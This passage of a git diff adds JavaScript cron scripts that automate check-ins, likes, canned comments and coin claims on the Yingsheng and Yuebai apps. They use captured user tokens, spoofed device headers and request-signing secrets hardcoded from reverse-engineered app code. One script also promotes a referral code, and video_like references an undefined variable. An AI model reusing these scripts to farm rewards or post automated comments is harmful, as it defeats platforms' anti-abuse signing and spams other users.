this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); this.message += `\n ${d}` } } else { console.log(`${d}`); this.message += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("../sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) }
+//Env rewrite:smallfawn Update-time:23-07-26 newAdd:DoubleLog & SendMsg & ChangeMessage
diff --git a/backup/yingsheng.js b/backup/yingsheng.js
new file mode 100644
index 00000000..3fcb3d99
--- /dev/null
+++ b/backup/yingsheng.js
@@ -0,0 +1,434 @@
+/**
+ * new Env("硬声")
+ * cron 2 17 * * * yingsheng.js
+ * Show:
+ * 23/08/29 更新点赞任务 更新评论 自动领取
+ * 变量名:yingsheng_data
+ * 变量值:抓yingsheng.elecfans.com 请求头Headers中Authorization或者token
+ * scriptVersionNow = "0.0.3";
+ */
+
+const $ = new Env("硬声");
+const ckName = "yingsheng_data";
+const Notify = 1; //0为关闭通知,1为打开通知,默认为1
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = '&'; //多变量分隔符
+
+let scriptVersionNow = "0.0.3";
+
+
+async function start() {
+ //await getVersion("smallfawn/QLScriptPublic@main/yingsheng.js");
+ //await getNotice();
+
+ console.log("\n====================================\n");
+ let taskall = [];
+ for (let user of $.userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.task());
+ await $.wait(1000);
+ }
+ }
+ await Promise.all(taskall);
+}
+
+class UserInfo {
+ constructor(str) {
+ this.index = ++$.userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.videoList = [];
+ }
+ /**
+ * //该加密实现 https://yingshengstatic.elecfans.com/80f05da.js 关键词 (t.headers.sign = v)
+ * @param {*} r 如果是get传入params 如果是post传入data/body
+ */
+ getSign(timestamp, r, type) {
+ //let newData = r
+ var n
+ if (type == "h5") {
+ n = "lw0270iBJzxXdJLRtePEENsauRzkHSqm"
+ } else if (type == "android") {
+ n = "cnry8k3o4WdCGU1Tq09cRVOPCnfJzt7p"
+
+ }
+
+ const crypto = require("crypto");
+ let l = { timestamp: timestamp, Authorization: this.ck, platform: type }
+ var data = {};
+ Object.keys(r).map(function (t) {
+ data[t] = r[t];
+ });
+ //赋值给data且赋值到l中
+ Object.assign(l, r),
+ (l = (function (t) {
+ for (
+ var e = Object.keys(t).sort(), n = {}, i = 0;
+ i < e.length;
+ i++
+ )
+ n[e[i]] = t[e[i]];
+ return n;
+ })(l));
+ function convertObjectToString(obj) {
+ let str = '';
+ for (let key in obj) {
+ if (obj.hasOwnProperty(key)) {
+ str += `${key}=${encodeURIComponent(obj[key])}&`;
+ }
+ }
+ return str.slice(0, -1);
+ }
+
+ var f = convertObjectToString(l)
+
+ if (type == "android") {
+ f += "cnry8k3o4WdCGU1Tq09cRVOPCnfJzt7p"
+ }
+ //console.log(f)
+ var h = crypto.createHash("sha1"),
+ d = crypto.createHash("sha1");
+ h.update(f);
+ var m = n + h.digest("hex") + this.ck;
+ d.update(m);
+ var v = d.digest("hex");
+ return v
+ }
+ getHeaders_H5(data) {
+ const timestamp = Math.round(new Date().getTime() / 1e3)
+ return {
+ "Host": "yingsheng.elecfans.com",
+ "Connection": "keep-alive",
+ "Authorization": this.ck,
+ "Content-Type": "application/json;charset=UTF-8",
+ "Accept": "application/json, text/plain, /",
+ "timestamp": timestamp,
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36appAndroid",
+ "platform": "h5",
+ "token": this.ck,
+ "sign": this.getSign(timestamp, data, "h5"),
+ "version": "2.7.4",
+ "Origin": "https://yingsheng.elecfans.com",
+ "X-Requested-With": "com.hq.hardvoice",
+ "Sec-Fetch-Site": "same-origin",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Referer": `https://yingsheng.elecfans.com/task?token=${this.ck}&version=2.7.4&time=${timestamp}&statusH=30`,
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ }
+ }
+ getHeaders_ANDROID(data) {
+ const timestamp = Math.round(new Date().getTime() / 1e3)
+ return {
+ "Host": "ysapi.elecfans.com",
+ "Connection": "keep-alive",
+ "Authorization": this.ck,
+ "Content-Type": "application/json;charset=UTF-8",
+ "model": "MI 8 Lite",
+ "timestamp": timestamp,
+ "User-Agent": "okhttp/3.12.6",
+ //"markId":"",
+ "platform": "android",
+ "sign": this.getSign(timestamp, data, "android"),
+ "version": "2.7.4",
+ "Accept-Encoding": "gzip",
+ }
+ }
+ async task() {
+ await this.sign_in_info()
+ await this.task_list()
+ await this.task_list()
+ }
+ async sign_in_info() {
+ try {
+ const data = { "date": "" }
+ let options = {
+ url: `https://yingsheng.elecfans.com/ysapi/wapi/activity/signin/data?date=`,
+ headers: this.getHeaders_H5(data),
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.message == "success!") {
+ $.DoubleLog(`✅账号[${this.index}] 账号共签到${result.data.data.signin_total} 🎉`)
+ $.DoubleLog(`✅账号[${this.index}] 账号是否签到 🎉`)
+ if (result.data.data.today_is_sign !== 1) {
+ $.DoubleLog(`✅账号[${this.index}] 账号未签到 🎉`)
+ await this.sign_in()
+ } else {
+ $.DoubleLog(`✅账号[${this.index}] 账号已签到 🎉`)
+ }
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 签到失败`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+
+ }
+ async sign_in() {
+ try {
+ const data = { "date": "" }
+ let options = {
+ url: `https://yingsheng.elecfans.com/ysapi/wapi/activity/signin/signin`,
+ headers: this.getHeaders_H5(data),
+ body: JSON.stringify(data)
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.message == "success!") {
+ $.DoubleLog(`✅账号[${this.index}] 签到成功 获得${result.data.coins}积分🎉`);
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 签到失败`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async video_list() {
+ try {
+ const data = { "page": 1 }
+ let options = {
+ url: `https://ysapi.elecfans.com/api/recommend/video/index?page=1`,
+ headers: this.getHeaders_ANDROID(data),
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.message == "success!") {
+ $.DoubleLog(`✅账号[${this.index}] 刷新视频列表成功🎉`);
+
+ /*for (let index = 0; index < 5; index++) {
+ console.log()
+ await this.video_like(result.data.data[index].detail.id)
+ }*/
+ this.videoList = result.data.data
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 刷新视频列表失败`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async video_like() {
+ try {
+ let video_id = ""
+ for (let index = 0; index < 5; index++) {
+ video_id = this.videoList[index].detail.id
+ const data = { "type": 1, "video_id": id }
+ let options = {
+ url: `https://ysapi.elecfans.com/api/video/publish/thumbsup`,
+ headers: this.getHeaders_ANDROID(data),
+ body: `type=1&video_id=${video_id}`
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.message == "success!") {
+ $.DoubleLog(`✅账号[${this.index}] 点赞视频成功🎉`);
+
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 点赞视频失败`);
+ //console.log(result);
+ }
+ }
+
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async task_list() {
+ try {
+ const data = {}
+ let options = {
+ url: `https://yingsheng.elecfans.com/ysapi/wapi/activity/task/dailyList`,
+ headers: this.getHeaders_H5(data),
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.message == "success!") {
+ await this.video_list()
+ console.log(result.data["4"].step["1"].com_status)
+ if (result.data["4"].step["1"].finish_progress < result.data["4"].step["1"].condition) {
+ $.DoubleLog(`✅账号[${this.index}] 执行点赞视频任务🎉`)
+ await this.video_like()
+ } else if (result.data["4"].step["1"].com_status == 12) {
+ await this.receive_coin(4)
+ } else if (result.data["5"].step["1"].finish_progress < result.data["5"].step["1"].condition) {
+ /*$.DoubleLog(`✅账号[${this.index}] 执行评论视频任务🎉`)
+ await this.video_add()
+ console.log(result.data["4"].finish_step)*/
+ } else if (result.data["5"].step["1"].com_status == 12) {
+ //await this.receive_coin(5)
+ }
+ //5评论
+ //6发布
+ //3关注
+ } else {
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async video_add() {
+ try {
+ let to_user_id = ""
+ let to_nick_name = ""
+ let target_id = ""
+ for (let index = 0; index < 5; index++) {
+ to_user_id = this.videoList[index].detail.user_info.user_id
+ to_nick_name = this.videoList[index].detail.user_info.nick_name
+ target_id = this.videoList[index].id
+ /*let to_nick_nameStr = encodeURIComponent(to_nick_name)
+ let contentStr = encodeURIComponent("太棒啦")*/
+ const data = { "to_user_id": to_user_id, "parent_id": 0, "at_user_ids": "", "to_nick_name": to_nick_name, "target_id": target_id, "type": 1, "content": "太棒啦" }
+ let newHeaders = this.getHeaders_ANDROID(data)
+ newHeaders["Content-Type"] = "application/x-www-form-urlencoded"
+ let options = {
+ url: `https://ysapi.elecfans.com/api/comment/add`,
+ headers: newHeaders,
+ body: `to_user_id=${to_user_id}&parent_id=0&at_user_ids=&to_nick_name=${to_nick_name}&target_id=${target_id}&type=1&content=太棒啦`
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.message == "success!") {
+ $.DoubleLog(`✅账号[${this.index}] 评论视频成功🎉`);
+
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 评论视频失败`);
+ //console.log(result);
+ }
+ }
+
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async receive_coin(id) {
+ try {
+ const data = { "type": id }
+ let options = {
+ url: `https://yingsheng.elecfans.com/ysapi/wapi/activity/task/receiveCoin`,
+ headers: this.getHeaders_H5(data),
+ body: JSON.stringify(data)
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.message == "success!") {
+ $.DoubleLog(`✅账号[${this.index}] 领取任务奖励成功🎉`);
+
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 领取任务奖励失败`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if ($.userList.length > 0) {
+ await start();
+ } await $.SendMsg($.message);
+})().catch((e) => console.log(e)).finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ //let userCount = 0;
+ if (userCookie) {
+ // console.log(userCookie);
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && $.userList.push(new UserInfo(n));
+ //userCount = $.userList.length;
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${$.userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options, method = null) {
+ method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get";
+ return new Promise((resolve) => {
+ $[method](options, (err, resp, data) => {
+ if (err) {
+ console.log(resp)
+ console.log(`${method}请求失败`);
+ $.logErr(err);
+ } else {
+ if (data) {
+ try { data = JSON.parse(data); } catch (error) { }
+ resolve(data);
+ } else {
+ console.log(`请求api返回数据为空,请检查自身原因`);
+ }
+ }
+ resolve();
+ });
+ });
+}
+/**
+ * 获取远程版本
+ */
+function getVersion(scriptUrl, timeout = 3 * 1000) {
+ return new Promise((resolve) => {
+ const options = { url: `https://originfastly.jsdelivr.net/gh/${scriptUrl}` };
+ $.get(options, (err, resp, data) => {
+ try {
+ const regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/;
+ const match = data.match(regex);
+ const scriptVersionLatest = match ? match[2] : "";
+ $.DoubleLog(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`);
+ } catch (e) {
+ $.logErr(e, resp);
+ }
+ resolve();
+ }, timeout);
+ });
+}
+/**
+ * 获取远程通知
+ */
+function getNotice(timeout = 3 * 1000) {
+ return new Promise((resolve) => {
+ const options = { url: `https://originfastly.jsdelivr.net/gh/smallfawn/Note@main/Notice.json` };
+ $.get(options, (err, resp, data) => {
+ try {
+ try {
+ data = JSON.parse(data);
+ } catch (error) { }
+ const notice = data.notice.replace(/\\n/g, "\n");
+ $.DoubleLog(notice);
+ } catch (e) {
+ $.logErr(e, resp);
+ }
+ resolve();
+ }, timeout);
+ });
+}
+// ==================== API ==================== //
+function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.userList = []; this.userIdx = 0; this.message = ""; this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), t.params && (t.url += "?" + this.queryStr(t.params)), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); this.message += `\n ${d}` } } else { console.log(`${d}`); this.message += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("../sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) }
+//Env rewrite:smallfawn Update-time:23-07-26 newAdd:DoubleLog & SendMsg & ChangeMessage
diff --git a/backup/yuebai.js b/backup/yuebai.js
new file mode 100644
index 00000000..6dfc4983
--- /dev/null
+++ b/backup/yuebai.js
@@ -0,0 +1,558 @@
+/**
+ * cron 17 17 * * * 悦拜APP 左上角活动 金币换红包 实物
+ * 邀请码 OEJMUR 下载地址 微信打开 https://yuebuy.top/a.jDybfP
+ * 变量名:yuepaiToken
+ * 变量值:https://app.yuebuy.cn/api/checkin/userinfo Headers请求头中的x-auth-token的值 多账号&或换行或新建同名变量
+ * scriptVersionNow = "0.0.1";
+ */
+
+const $ = new Env("悦拜APP");
+const notify = $.isNode() ? require('../sendNotify') : '';
+let ckName = "yuepaiToken";
+let envSplitor = ["&", "\n"]; //多账号分隔符
+let strSplitor = "#"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+class Task {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.signStatus = false
+ }
+ async main() {
+ await this.task_usefinfo()
+ if (this.ckStatus) {
+ if (this.signStatus == false) {
+ await this.task_sign()
+ }
+ await this.task_index();
+ }
+ }
+
+ async taskRequest(method, url, body = "") {
+ //
+ function md5(str) {
+ const crypto = require('crypto');
+ return crypto.createHash('md5').update(str).digest('hex');
+ }
+ let timestamp = Date.now().toString()
+ let random = $.uuid()
+ let md5Str1 = md5(timestamp + random);
+ let sign = md5(md5Str1 + `YEqQJIyOzUABvTon`);
+ let headers = {
+ "push-token": "160a3797c901850e1fc",
+ "app": "4.2.9",
+ "system": "10",
+ "platform": "android",
+ "channelName": "xiaomi",
+ "model": "MI 8 Lite",
+ "x-auth-token": this.ck,
+ "x-auth-timestamp": timestamp,
+ "x-auth-random": random,
+ "x-auth-signature": sign,
+ "version": "v1",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Content-Length": "0",
+ "Host": "app.yuebuy.cn",
+ "Connection": "Keep-Alive",
+ "Accept-Encoding": "gzip",
+ "User-Agent": "okhttp/4.10.0"
+ }
+ const requestOptions = {
+ method: method,
+ headers: headers,
+ url: url
+ };
+
+ if (method !== "get") {
+ requestOptions.body = body;
+ }
+
+ const { body: result } = await $.httpRequest(requestOptions);
+ return result;
+ }
+ async task_usefinfo() {
+ let result = await this.taskRequest("post", `https://app.yuebuy.cn/api/checkin/userinfo`, `is_simple=0`)
+ //console.log(options);
+ //console.log(result);
